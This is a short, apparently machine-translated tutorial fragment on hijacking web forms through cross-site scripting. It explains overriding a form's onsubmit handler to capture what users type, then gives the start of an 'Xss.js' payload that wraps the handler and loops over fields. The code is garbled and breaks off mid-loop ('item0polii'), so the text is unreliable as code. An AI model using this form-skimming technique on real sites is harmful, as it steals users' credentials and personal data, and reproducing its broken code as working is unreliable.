Xss form hijacking (from Universal plaintext record)
As we all know, the onsubmit method is called when submitting a form form. Since onsubmit is called, it means that all the items that should be filled in the form must have been filled out. At this time, we can get the information in the form by modifying the onsubmit method.
Xss.js:
Var f=document.forms ['from1']; if (f==undefined) {f=document.getElementById ('');} var func=f.onsubmit;f.onsubmit=function (event) {var str=''; for (var item0polii)
